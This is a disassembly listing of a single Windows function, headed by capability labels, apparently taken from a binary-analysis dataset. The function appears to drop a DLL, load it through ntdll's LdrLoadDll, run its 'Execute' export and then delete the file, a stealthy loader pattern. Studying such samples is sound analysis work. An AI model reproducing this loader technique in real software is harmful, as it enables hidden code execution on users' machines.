Function at 0x140001fe0
Capabilities:
Delete file
Get common file path

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x318
movaps xmmword [rsp + 0x300], xmm6
mov ecx, 0x104
lea r14, [rsp + 0xf0]
lea rbx, [rsp + 0xa0]
mov rdx, r14
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea rax, [rsp + 0x90]
mov rcx, r14
mov qword [rsp + 0x90], rbx
mov qword [rsp + 0x38], rax
call sub.msvcrt.dll_wcslen
lea rsi, [rax + rax]
mov rdi, rsi
sar rdi, 1
mov qword [rsp + 0xd0], rdi
mov rdx, rdi
cmp rsi, 0xe
ja 0x140002078
mov rcx, qword [rsp + 0x90]
cmp rdi, 1
jne 0x1400020ab
movzx eax, word [rsp + 0xf0]
mov word [rcx], ax
mov eax, 2
jmp 0x1400020b8
mov rcx, qword [rsp + 0x38]
lea r13, [rsp + 0xd0]
xor r8d, r8d
mov rdx, r13
call fcn.1400f3620
mov rdx, qword [rsp + 0xd0]
mov qword [rsp + 0x90], rax
mov rcx, rax
mov qword [rsp + 0xa0], rdx
test rdi, rdi
jne 0x1400026f0
lea rax, [rdx + rdx]
xor esi, esi
mov qword [rsp + 0x98], rdx
mov word [rcx + rax], si
lea rsi, [0x14023e720]
mov rcx, rsi
call sub.msvcrt.dll_wcslen
mov rcx, qword [rsp + 0x38]
mov r9, rsi
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor edx, edx
call fcn.1400ee170
lea rdi, [rsp + 0xc0]
lea rcx, [rax + 0x10]
mov qword [rsp + 0xb0], rdi
mov rdx, qword [rax]
cmp rdx, rcx
je 0x140002880
mov qword [rsp + 0xb0], rdx
mov rdx, qword [rax + 0x10]
mov qword [rsp + 0xc0], rdx
mov rdx, qword [rax + 8]
xor r11d, r11d
mov qword [rax], rcx
lea r12, [0x14023e72a]
mov qword [rax + 8], 0
mov rcx, r12
mov qword [rsp + 0xb8], rdx
mov word [rax + 0x10], r11w
call sub.msvcrt.dll_wcslen
mov r8, rax
movabs rax, 0x1fffffffffffffff
sub rax, qword [rsp + 0xb8]
cmp rax, r8
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x30], rax
jb 0x140002a69
mov rdx, r12
mov rcx, rax
call fcn.1400f3460
lea rsi, [rsp + 0xe0]
lea rcx, [rax + 0x10]
mov qword [rsp + 0xd0], rsi
mov rdx, qword [rax]
cmp rdx, rcx
je 0x1400028d0
mov qword [rsp + 0xd0], rdx
mov rdx, qword [rax + 0x10]
mov qword [rsp + 0xe0], rdx
mov rdx, qword [rax + 8]
xor r10d, r10d
mov qword [rax], rcx
lea rbp, [0x14023e744]
mov qword [rax + 8], 0
mov rcx, rbp
lea r13, [rsp + 0xd0]
mov qword [rsp + 0xd8], rdx
mov word [rax + 0x10], r10w
call sub.msvcrt.dll_wcslen
mov r8, rax
movabs rax, 0x1fffffffffffffff
sub rax, qword [rsp + 0xd8]
cmp rax, r8
jb 0x140002af7
mov rdx, rbp
mov rcx, r13
call fcn.1400f3460
mov rdx, rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
lea rcx, [rdx + 0x10]
mov qword [rsp + 0x70], rax
mov rax, qword [rdx]
cmp rax, rcx
je 0x140002830
mov qword [rsp + 0x70], rax
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0x80], rax
mov rax, qword [rdx + 8]
mov qword [rdx], rcx
xor r9d, r9d
mov rcx, qword [rsp + 0xd0]
mov qword [rdx + 8], 0
mov qword [rsp + 0x78], rax
mov word [rdx + 0x10], r9w
cmp rcx, rsi
je 0x140002288
mov rax, qword [rsp + 0xe0]
lea rdx, [rax + rax + 2]
call fcn.1401084c0
mov rcx, qword [rsp + 0xb0]
cmp rcx, rdi
je 0x1400022a7
mov rax, qword [rsp + 0xc0]
lea rdx, [rax + rax + 2]
call fcn.1401084c0
mov rcx, qword [rsp + 0x90]
cmp rcx, rbx
je 0x1400022c6
mov rax, qword [rsp + 0xa0]
lea rdx, [rax + rax + 2]
call fcn.1401084c0
mov rcx, r14
mov qword [rsp + 0xb0], rdi
call sub.msvcrt.dll_wcslen
lea r9, [rax + rax]
mov r15, r9
sar r15, 1
mov qword [rsp + 0xd0], r15
mov rax, r15
cmp r9, 0xe
ja 0x140002318
mov rcx, qword [rsp + 0xb0]
cmp r15, 1
jne 0x14000234d
movzx edx, word [rsp + 0xf0]
mov word [rcx], dx
mov edx, 2
jmp 0x14000235a
mov rcx, qword [rsp + 0x30]
xor r8d, r8d
mov rdx, r13
mov qword [rsp + 0x48], r9
call fcn.1400f3620
mov qword [rsp + 0xb0], rax
mov rcx, rax
mov r9, qword [rsp + 0x48]
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0xc0], rax
test r15, r15
jne 0x140002710
lea rdx, [rax + rax]
xor r8d, r8d
mov qword [rsp + 0xb8], rax
mov word [rcx + rdx], r8w
mov rcx, r12
call sub.msvcrt.dll_wcslen
mov r8, rax
movabs rax, 0x1fffffffffffffff
sub rax, qword [rsp + 0xb8]
cmp rax, r8
jb 0x140002adf
mov rcx, qword [rsp + 0x30]
mov rdx, r12
call fcn.1400f3460
mov rdx, rax
mov qword [rsp + 0xd0], rsi
mov rax, qword [rax]
lea rcx, [rdx + 0x10]
cmp rax, rcx
je 0x140002920
mov qword [rsp + 0xd0], rax
mov rax, qword [rdx + 0x10]
mov qword [rsp + 0xe0], rax
mov rax, qword [rdx + 8]
mov qword [rdx], rcx
xor ecx, ecx
mov qword [rdx + 8], 0
mov qword [rsp + 0xd8], rax
mov word [rdx + 0x10], cx
mov rcx, rbp
call sub.msvcrt.dll_wcslen
mov r8, rax
movabs rax, 0x1fffffffffffffff
sub rax, qword [rsp + 0xd8]
cmp rax, r8
jb 0x140002aeb
mov rdx, rbp
mov rcx, r13
call fcn.1400f3460
mov qword [rsp + 0x90], rbx
mov rdx, qword [rax]
lea rcx, [rax + 0x10]
cmp rdx, rcx
je 0x1400027e8
mov qword [rsp + 0x90], rdx
mov rdx, qword [rax + 0x10]
mov qword [rsp + 0xa0], rdx
mov rdx, qword [rax + 8]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xd0]
mov qword [rax + 8], 0
mov qword [rsp + 0x98], rdx
xor edx, edx
mov word [rax + 0x10], dx
cmp rcx, rsi
je 0x140002482
mov rax, qword [rsp + 0xe0]
lea rdx, [rax + rax + 2]
call fcn.1401084c0
mov rcx, qword [rsp + 0xb0]
cmp rcx, rdi
je 0x1400024a1
mov rax, qword [rsp + 0xc0]
lea rdx, [rax + rax + 2]
call fcn.1401084c0
lea r12, [rsp + 0x70]
mov rcx, r12
call fcn.140001c70
test al, al
je 0x140002690
mov rcx, qword [0x1402458a0]
mov r8d, 0x22
lea rdx, str.File_of_DLL_created_successfully__n
call fcn.140100650
movq xmm6, qword [str.ntdll.dll]
movzx r15d, word [0x14023e840]
mov rcx, r13
mov word [rsp + 0xd8], r15w
movq qword [rsp + 0xd0], xmm6
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rsi, rax
lea rcx, [0x14023e773]
call r14
mov rdi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
lea rdx, str.LdrLoadDll
call rdi
movdqa xmm0, xmmword [str.RtlInitUnicodeStLdrUnloaExecute]
mov rbp, rax
mov rdx, r13
mov rcx, rsi
mov dword [rsp + 0xe0], 0x676e6972
mov byte [rsp + 0xe4], 0
movaps xmmword [rsp + 0xd0], xmm0
call rdi
mov word [rsp + 0xb8], r15w
mov rsi, rax
mov r15, qword [rsp + 0x30]
mov rax, qword [0x14023e860]
mov dword [rsp + 0xd8], 0x6c6c4464
mov byte [rsp + 0xdc], 0
mov rcx, r15
mov qword [rsp + 0xd0], rax
movq qword [rsp + 0xb0], xmm6
call r14
mov rcx, rax
mov rdx, r13
call rdi
mov r14, rax
test rsi, rsi
je 0x140002690
test rbp, rbp
je 0x140002690
mov rcx, qword [0x1402458a0]
mov r8d, 0x38
lea rdx, str.RtlInitUnicodeString__LdrLoadDll_loaded_successfully__n
call fcn.140100650
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdx, qword [rsp + 0x90]
mov rcx, r13
call rsi
mov r9, r15
mov r8, r13
xor edx, edx
xor ecx, ecx
call rbp
mov edx, eax
test eax, eax
js 0x140002730
mov rcx, qword [0x1402458a0]
mov r8d, 0x1b
lea rdx, str.Status_success_in_str:_111_n
call fcn.140100650
mov rax, qword [0x14023e868]
lea rsi, [rsp + 0x60]
mov rcx, qword [rsp + 0xb0]
mov rdx, rsi
mov qword [rsp + 0x60], rax
call rdi
mov rdi, rax
test rax, rax
je 0x140002a4b
mov rcx, qword [0x1402458a0]
mov r8d, 0x29
lea rdx, str.Function__Execute__founded._Executing..._n
call fcn.140100650
call rdi
lea rcx, str.a.dll
call sub.msvcrt.dll_remove
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x20], rsi
mov rcx, rax
mov r9d, 4
xor edx, edx
xor r8d, r8d
call fcn.140001bb0
test eax, eax
js 0x140002690
mov rcx, qword [rsp + 0xb0]
call r14
nop dword [rax]
mov rcx, qword [rsp + 0x90]
cmp rcx, rbx
je 0x1400026af
mov rax, qword [rsp + 0xa0]
lea rdx, [rax + rax + 2]
call fcn.1401084c0
mov rcx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x40]
cmp rcx, rax
je 0x1400026d1
mov rax, qword [rsp + 0x80]
lea rdx, [rax + rax + 2]
call fcn.1401084c0
nop
movaps xmm6, xmmword [rsp + 0x300]
add rsp, 0x318
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rdx, r14
mov r8, rsi
call sub.msvcrt.dll_memcpy
mov rdx, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0x90]
jmp 0x1400020b4
mov r8, r9
mov rdx, r14
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xb0]
jmp 0x140002356
mov rax, qword [0x1402458a0]
mov rcx, qword [0x1402458a0]
mov rax, qword [rax]
add rcx, qword [rax - 0x18]
mov eax, dword [rcx + 0x18]
and eax, 0xffffffb5
or eax, 8
mov dword [rcx + 0x18], eax
mov rcx, qword [0x1402458a0]
call fcn.1400a8320
mov rcx, rax
mov rax, qword [rax]
mov byte [rsp + 0x5f], 0xa
mov rax, qword [rax - 0x18]
cmp qword [rcx + rax + 0x10], 0
je 0x140002a3c
lea rdx, [rsp + 0x5f]
mov r8d, 1
call fcn.140100650
mov rcx, qword [0x1402458a0]
mov r8d, 5
lea rdx, str.Err:
call fcn.140100650
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [0x1402458a0]
mov edx, eax
call fcn.1400a8590
mov byte [rsp + 0x60], 0xa
mov rcx, rax
mov rax, qword [rax]
mov rax, qword [rax - 0x18]
cmp qword [rcx + rax + 0x10], 0
je 0x140002a2d
lea rdx, [rsp + 0x60]
mov r8d, 1
call fcn.140100650
jmp 0x140002690
mov rdx, qword [rax + 8]
mov r9, rbx
lea r8, [rdx + rdx + 2]
mov rdx, rcx
cmp r8d, 8
jae 0x140002a05
xor r10d, r10d
test r8b, 4
je 0x140002816
mov r10d, dword [rdx]
mov dword [r9], r10d
mov r10d, 4
and r8d, 2
je 0x140002446
movzx edx, word [rdx + r10]
mov word [r9 + r10], dx
jmp 0x140002446
mov rax, qword [rdx + 8]
mov r9, qword [rsp + 0x40]
lea r8, [rax + rax + 2]
mov rax, rcx
cmp r8d, 8
jae 0x1400029d8
xor r10d, r10d
test r8b, 4
je 0x140002860
mov r10d, dword [rax]
mov dword [r9], r10d
mov r10d, 4
and r8d, 2
je 0x14000224d
movzx eax, word [rax + r10]
mov word [r9 + r10], ax
jmp 0x14000224d
mov rdx, qword [rax + 8]
mov r9, rdi
lea r8, [rdx + rdx + 2]
mov rdx, rcx
cmp r8d, 8
jae 0x1400029b0
xor r10d, r10d
test r8b, 4
je 0x1400028ae
mov r10d, dword [rdx]
mov dword [r9], r10d
mov r10d, 4
and r8d, 2
je 0x140002120
movzx edx, word [rdx + r10]
mov word [r9 + r10], dx
jmp 0x140002120
mov rdx, qword [rax + 8]
mov r9, rsi
lea r8, [rdx + rdx + 2]
mov rdx, rcx
cmp r8d, 8
jae 0x140002988
xor r10d, r10d
test r8b, 4
je 0x1400028fe
mov r10d, dword [rdx]
mov dword [r9], r10d
mov r10d, 4
and r8d, 2
je 0x1400021b8
movzx edx, word [rdx + r10]
mov word [r9 + r10], dx
jmp 0x1400021b8
mov rax, qword [rdx + 8]
mov r9, rsi
lea r8, [rax + rax + 2]
mov rax, rcx
cmp r8d, 8
jae 0x140002963
xor r10d, r10d
test r8b, 4
je 0x14000294a
mov r10d, dword [rax]
mov dword [r9], r10d
mov r10d, 4
and r8d, 2
je 0x1400023cc
movzx eax, word [rax + r10]
mov word [r9 + r10], ax
jmp 0x1400023cc
mov r10d, r8d
xor eax, eax
and r10d, 0xfffffff8
mov r9d, eax
add eax, 8
mov r11, qword [rcx + r9]
mov qword [rsi + r9], r11
cmp eax, r10d
jb 0x14000296c
lea r9, [rsi + rax]
add rax, rcx
jmp 0x140002935
mov r10d, r8d
xor edx, edx
and r10d, 0xfffffff8
mov r9d, edx
add edx, 8
mov r11, qword [rcx + r9]
mov qword [rsi + r9], r11
cmp edx, r10d
jb 0x140002991
lea r9, [rsi + rdx]
add rdx, rcx
jmp 0x1400028e9
mov r10d, r8d
xor edx, edx
and r10d, 0xfffffff8
mov r9d, edx
add edx, 8
mov r11, qword [rcx + r9]
mov qword [rdi + r9], r11
cmp edx, r10d
jb 0x1400029b9
lea r9, [rdi + rdx]
add rdx, rcx
jmp 0x140002899
mov r10d, r8d
xor eax, eax
and r10d, 0xfffffff8
mov r9d, eax
mov r15, qword [rsp + 0x40]
add eax, 8
mov r11, qword [rcx + r9]
mov qword [r15 + r9], r11
cmp eax, r10d
jb 0x1400029e1
lea r9, [r15 + rax]
add rax, rcx
jmp 0x14000284b
mov r10d, r8d
xor edx, edx
and r10d, 0xfffffff8
mov r9d, edx
add edx, 8
mov r11, qword [rcx + r9]
mov qword [rbx + r9], r11
cmp edx, r10d
jb 0x140002a0e
lea r9, [rbx + rdx]
add rdx, rcx
jmp 0x140002801
mov edx, 0xa
call fcn.1400a6e10
jmp 0x140002690
mov edx, 0xa
call fcn.1400a6e10
jmp 0x140002788
mov rcx, qword [0x1402458a0]
mov r8d, 0x1e
lea rdx, str.Function__Execute__not_found__n
call fcn.140100650
jmp 0x140002690
lea rcx, [0x14023e72e]
call fcn.1401092f0
mov rcx, qword [rsp + 0x38]
mov rbx, rax
call fcn.1400ee150
mov rcx, r12
call fcn.1400ee150
mov rcx, rbx
call fcn.140019f10
mov rbx, rax
jmp 0x140002ab1
mov rcx, qword [rsp + 0x38]
call fcn.1400ee150
mov rcx, rbx
call fcn.140019f10
mov rcx, r13
mov rbx, rax
call fcn.1400ee150
mov rcx, qword [rsp + 0x30]
lea r12, [rsp + 0x70]
call fcn.1400ee150
jmp 0x140002a82
lea rcx, [0x14023e72e]
call fcn.1401092f0
lea rcx, [0x14023e72e]
call fcn.1401092f0
lea rcx, [0x14023e72e]
call fcn.1401092f0
mov rbx, rax
lea r12, [rsp + 0x70]
jmp 0x140002a82